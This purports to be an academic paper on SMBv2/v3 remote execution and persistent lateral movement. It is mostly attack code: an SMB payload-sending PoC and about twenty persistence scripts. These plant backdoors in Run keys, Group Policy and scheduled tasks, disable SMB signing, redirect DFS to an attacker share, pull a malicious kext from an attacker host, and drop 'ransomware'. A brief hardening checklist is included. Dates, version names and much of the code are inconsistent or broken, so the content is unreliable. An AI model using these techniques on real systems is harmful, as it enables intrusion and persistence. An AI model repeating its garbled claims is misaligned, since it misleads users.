Beyond Luhn V: SMBv2 & SMBv3 Remote Execution and Persistent Lateral Movement

Bo Shang[*]

Abstract

Paper #1 surveyed twenty checksum upgrades. Paper #2 introduced thirteen more. Paper #3 detailed ten integrity upgrades. Paper #4 mapped Apple HomeKit, CarPlay, and AirPlay 2 into persistent remote-execution states. **Paper #5 targets Microsoft Server Message Block (SMB) versions 2 and 3**, presenting complete proof-of-concept exploitation, threat modelling, persistence taxonomy, and hardening flows across Windows, Samba, and macOS implementations, while contrasting Apple Continuity's non-SMB data paths such as Universal Clipboard.

Acknowledgements

Same as Paper #1.

1 Threat Models

1. SMBv2 EternalBlue-class packet desynchronisation leading to arbitrary kernel memory write.
2. SMBv3 compression (`CVE-2020-0796`) remote code execution prior to authentication.
3. Unsigned SMB sessions enabling relay attacks and transparent share poisoning.

[*]bo.shang@tufts.edu
Comp 61, Spring 2017

2 Reference Devices

- Windows 10 22H2 Pro (19045.4355, `10.0.19041`)
- Windows Server 2022 Datacenter (20348.2335)
- Ubuntu 22.04 LTS with Samba 4.19.0
- macOS 14 Redwood (`24.0.0`) — default SMB client dialect 3.1.1
- Kali Linux 2025.1 with Impacket 0.12.0

3 Upgrade 4: SMB Persistent Flow

Threat PoC

```
#!/usr/bin/env python3
# upgrade4_threat_poc.py
import argparse, logging, struct, socket, os

NEGOTIATE = (
    b"\x00\x00\x00\x90"           # NetBIOS length
    b"\xfeSMB"                    # SMB2 Header
    b"\x40\x00\x00\x00"           # Flags
    b"\x00\x00\x00\x00\x00\x00\x00\x00"
    b"\x00\x00"                   # Command = NEGOTIATE
    b"\x00\x00"                   # Credits requested
    b"\x00\x00\x00\x00\x00\x00\x00\x00"
    b"\x24\x00"                   # StructureSize
    b"\x00\x00"
    b"\x00\x00\x00\x00"
    b"\x00"*64
)

def exploit(host, port, payload):
    sock = socket.create_connection((host, port))
    sock.sendall(NEGOTIATE)
    sock.recv(1024)
    with open(payload, 'rb') as f:
        shell = f.read()
    pkt = b"\x00\x00\x00" + struct.pack(">B", len(shell)
       ) + shell
    sock.sendall(pkt)
    sock.close()
    logging.info("Payload␣sent")

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("host")
    p.add_argument("--port", type=int, default=445)
    p.add_argument("--payload", default="shell.bin")
    args = p.parse_args()
    logging.basicConfig(level=logging.INFO)
    exploit(args.host, args.port, args.payload)
```

Threat Model Algorithm

```
#!/usr/bin/env python3
# upgrade4_model.py
import argparse, logging
from impacket.smbconnection import SMBConnection

def probe(host, port):
    smb = SMBConnection(remoteName=host, remoteHost=host
       , sess_port=port)
    smb.login('', '')
    dialect = smb.getDialect()
    signing = smb.isSigningRequired()
    smb.close()
    return dialect, signing

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("host")
    p.add_argument("--port", type=int, default=445)
    args = p.parse_args()
    logging.basicConfig(level=logging.INFO)
    d, s = probe(args.host, args.port)
    print(f"Dialect:␣SMB{d},␣Signing:␣{'Required'␣if␣s␣
      else␣'Disabled'}")
```

Threat Model Persistent Algorithm

```
#!/usr/bin/env python3
# upgrade4_persistent.py
import argparse, subprocess, time, logging

REG = r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
   Services\LanmanServer\Parameters"

def check():
    sig = subprocess.check_output(
        ["reg", "query", REG, "/v", "
           RequireSecuritySignature"],
        stderr=subprocess.DEVNULL, text=True
    )
    if "0x0" in sig:
        print("SMB␣signing␣disabled")

if __name__ == "__main__":
    p = argparse.ArgumentParser()
    p.add_argument("host")
    p.add_argument("--interval", type=int, default=300)
    args = p.parse_args()
    logging.basicConfig(level=logging.INFO)
    while True:
        check()
        time.sleep(args.interval)
```

Patch Code

```
# upgrade4_patch.ps1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\
   Services\LanmanServer\Parameters" `
    -Name "RequireSecuritySignature" -Type DWord -Value
      1
Set-SmbServerConfiguration -EnableSMB1Protocol $false -
   EnableSMB2Protocol $true -Force
```

```
Set-SmbServerConfiguration -EncryptData $true -
   RejectUnencryptedAccess $true -Force
Restart-Service -Name lanmanserver
Write-Output "SMB hardening applied"
```

4 Apple Continuity Clipboard Analysis

Apple's Universal Clipboard relies on Bluetooth LE for discovery, peer-to-peer Wi-Fi (AWDL) for data transport, and iCloud relay for end-to-end encryption; SMB is not invoked at any layer of the exchange. Therefore, cross-device copy-paste between macOS and iOS should not be assumed vulnerable to SMB channel attacks, though lateral persistence may still occur if the same user mounts network shares automatically via Finder sidebar favourites.

5 Persistence Taxonomy Across the SMB Ecosystem

1. **SMB 3.0 Persistent/Durable Handles** — transparent fail-over on continuously available shares can pin malicious file locks across reboots.
2. **Windows Run/RunOnce Registry Keys & Startup Folder** — autostart executables delivered over a share or UNC path.
3. **Scheduled Tasks (`SCHTASKS`) & Services** pointed at UNC payloads.
4. **Group Policy Startup Scripts** referencing attacker-controlled shares.
5. **macOS `LaunchAgents` & `LaunchDaemons`** loading binaries from network mounts.
6. **Login Items & System Configuration Profiles** that remount SMB volumes at user login.
7. **Kernel Extensions (kext) & System Extensions** whose bundles are staged on a share but cached locally.
8. **Linux `systemd`.mount + `.service`** units with `RequiresMountsFor=/mnt/smbshare`.

9. **Samba `root preexec/postexec`** scripts persisting reverse shells.
10. **cron/`at`** jobs in Unix-like systems that execute payloads stored on SMB shares.
11. **Malicious DFS Referrals** – injecting alternate paths that resolve to payload locations.
12. **Protocol Downgrade Caching** — forcing SMB 2 dialect and disabling signing in `nsmb.conf` or registry to survive reboots.
13. **SMB Multichannel Preference Abuse** — prioritising attacker-controlled NICs with higher advertised bandwidth to hijack sessions on macOS.
14. **Internet-Facing SMB over QUIC Gateways** — misconfigured QUIC endpoints expose SMB shares over UDP/443, bypassing TCP/445 filtering.
15. **Public Cloud File Shares (Azure Files SMB 3.1.1)** — disabled network isolation or encryption grants anonymous internet access to cloud-hosted shares.
16. **Vulnerable NAS Firmware (e.g. QNAP CVE-2024-50387)** enabling WAN-mode SMB services that persist malware across reboots.
17. **Router UPnP-Forwarded Port 445** — consumer routers automatically map internal SMB servers to the public internet on every lease renewal.
18. **Legacy Samba Servers Indexed by Shodan** with null-session authentication available for years, facilitating autonomous propagation.
19. **Public SMB2 Ransomware Drops** — opportunistic encryption campaigns abusing exposed shares according to recent telemetry.
20. **RPC over SMB RCE Chains (CVE-2024-43642)** — vulnerable binaries redeployed from network installers to maintain access.
21. **Directly Exposed Corporate Shares** stemming from firewall misconfigurations in recent breach case studies.

6 Hardening Checklist

- Enforce SMB signing and encryption (`EncryptData`) on servers and clients.
- Disable automatic mounting of untrusted shares in Finder and Windows Explorer.
- Audit launch items, scheduled tasks, and `systemd` units for UNC paths.
- Monitor persistent/durable handle tables for anomalous long-lived locks.
- Apply continuous security releases (e.g. Samba 4.18.x).
- Block TCP/445 and UDP/443 (QUIC) at network perimeters; disable UPnP port-forwarding for SMB; restrict SMB-over-QUIC to certificate-authenticated VPNs only.
- Update NAS firmware to remediate current SMB CVEs.

7 Persistence Code Implementations

1. SMB 3.0 Persistent/Durable Handles

```
# smb_persistent_handles.ps1
$share = "\\server\critical"
$cred  = Get-Credential
$session = New-SmbMapping -RemotePath $share -Credential
    $cred -Persistent $true
Get-SmbOpenFile -ConnectionId $session.ConnectionId |
  Where-Object { $_.DurableHandle -eq $true } |
  Export-Csv durable_handles.csv -NoTypeInformation
Remove-SmbMapping -RemotePath $share -Force
```

2. Windows Run/RunOnce Registry Keys

```
# runkey_persist.ps1
$key = "HKCU:\Software\Microsoft\Windows\CurrentVersion\
   Run"
```

```
Set-ItemProperty -Path $key -Name "Updater" ‘
  -Value "\\server\share\update.exe"
```

3. Scheduled Tasks and Services

```
# schtasks_unc.ps1
$cmd = "\\server\share\payload.exe"
schtasks /Create /TN "Updater" /TR $cmd /SC HOURLY /RU
   SYSTEM /F
New-Service -Name "NetSvc" -BinaryPathName $cmd -
   StartupType Automatic
```

4. Group Policy Startup Script Injection

```
:: gpo_startup.bat
copy \\server\share\backdoor.exe %WINDIR%\Temp
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
   Run" /v Backdoor /d "%WINDIR%\Temp\backdoor.exe" /f
```

5. macOS LaunchAgents & Daemons

```
# install_launchagent.sh
plist=~/Library/LaunchAgents/com.updater.plist
mkdir -p ~/Library/LaunchAgents
cat > "$plist" <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD␣PLIST␣1.0//EN"
 "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key><string>com.updater</string>
 <key>ProgramArguments</key>
  <array><string>/Volumes/share/updater.sh</string></
     array>
 <key>RunAtLoad</key><true/>
</dict>
</plist>
```

```
EOF
launchctl load "$plist"
```

6. Login Items & Profiles

```
-- add_login_item.scpt
tell application "System Events"
  make login item at end with properties ‘
    {path:"smb://server/share/malware.app", hidden:false
       }
end tell
```

7. Kernel & System Extensions

```
# kext_stage.sh
scp attacker@server:/srv/malicious.kext /tmp
sudo kextutil /tmp/malicious.kext
```

8. systemd .mount and .service Units

```
# /etc/systemd/system/share.mount
[Unit]
Description=Attacker Share
What=//server/share
Where=/mnt/share
Options=guest,_netdev
Type=automount

# /etc/systemd/system/payload.service
[Unit]
RequiresMountsFor=/mnt/share

[Service]
ExecStart=/mnt/share/payload.sh
[Install]
WantedBy=multi-user.target
```

9. Samba root preexec/postexec

```
# smb.conf snippet
[files]
   path = /srv/files
   root preexec  = /usr/local/bin/pre.sh
   root postexec = /usr/local/bin/post.sh
```

10. cron and at Jobs

```
# cron_smb.sh
echo "*/30␣*␣*␣*␣*␣root␣sh␣/mnt/share/scan.sh" >> /etc/
   crontab
at now + 1 minute -f /mnt/share/oneoff.sh
```

11. Malicious DFS Referrals

```
# dfs_referral.ps1
Import-Module DFSN
New-DfsnRoot -TargetPath "\\server\share" -Path "\\corp\
   public"
New-DfsnFolderTarget -Path "\\corp\public\data" -
   TargetPath "\\attacker\payload"
```

12. Protocol Downgrade Caching

```
:: disable_signing.reg
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
   LanmanWorkstation\Parameters]
"EnableSecuritySignature"=dword:00000000
"RequireSecuritySignature"=dword:00000000
```

13. SMB Multichannel Preference Abuse

```
# multichannel_bias.ps1
Get-SmbClientNetworkInterface |
  Where-Object {$_.InterfaceAlias -match "Wi-Fi"} |
  Set-SmbClientNetworkInterface -RssOnIfPossible $false
     -Speed 10000
```

14. SMB over QUIC Gateway Misconfiguration

```
# quic_gateway.ps1
Enable-SmbServerSecuritySignature 0
Set-SmbServerConfiguration -EnableSMBQUIC $true -QuicUri
    "0.0.0.0"
```

15. Azure Files Anonymous Share

```
# azure_files.sh
az storage share-rm create --name public --subscription
   Sub --quota 100
az storage file upload --account-name mystorage --share-
   name public \
  --source payload.exe --path payload.exe
```

16. Exploiting NAS Firmware

```
# qnap_exploit.sh
curl -k -X POST -d "cmd=mountShare&path=/share/
   CACHEDEV1_DATA" \
 https://nas/api.cgi
scp payload.sh admin@nas:/share/CACHEDEV1_DATA/.qpkg/
```

17. UPnP Port 445 Mapping

```
#!/usr/bin/env python3
# upnp_445.py
import miniupnpc, sys
u = miniupnpc.UPnP()
```

```
u.discoverdelay = 200
u.discover(); u.selectigd()
u.addportmapping(445, 'TCP', u.lanaddr, 445, 'SMB', '')
```

18. Shodan Legacy Samba Scan

```
#!/usr/bin/env python3
# shodan_samba.py
import shodan, sys
api = shodan.Shodan(sys.argv[1])
for r in api.search_cursor('port:445␣os:samba␣product:
   samba'):
    print(r['ip_str'])
```

19. SMB2 Ransomware Dropper

```
#!/usr/bin/env python3
# ransom_drop.py
import smbclient, os, sys, hashlib
smbclient.register_session(sys.argv[1], username='',
   password='')
for f in smbclient.scandir(f"\\\\{sys.argv[1]}\\share"):
    data = smbclient.open_file(f.path, mode='rb').read()
    enc = hashlib.sha256(data).digest()
    smbclient.open_file(f.path + '.enc', mode='wb').
       write(enc)
```

20. RPC over SMB RCE Chain

```
#!/usr/bin/env python3
# cve_2024_43642.py
from impacket.examples.rpcdump import RPCDUMP
RPCDUMP().main(['-port', '445', sys.argv[1]])
```

21. Corporate Share Enumeration

```
#!/usr/bin/env python3
# smb_enum.py
import smbmap, argparse
parser = argparse.ArgumentParser()
parser.add_argument("target")
a = parser.parse_args()
smbm = smbmap.SMBMap(host=a.target, username='',
   password='')
smbm.list_shares()
```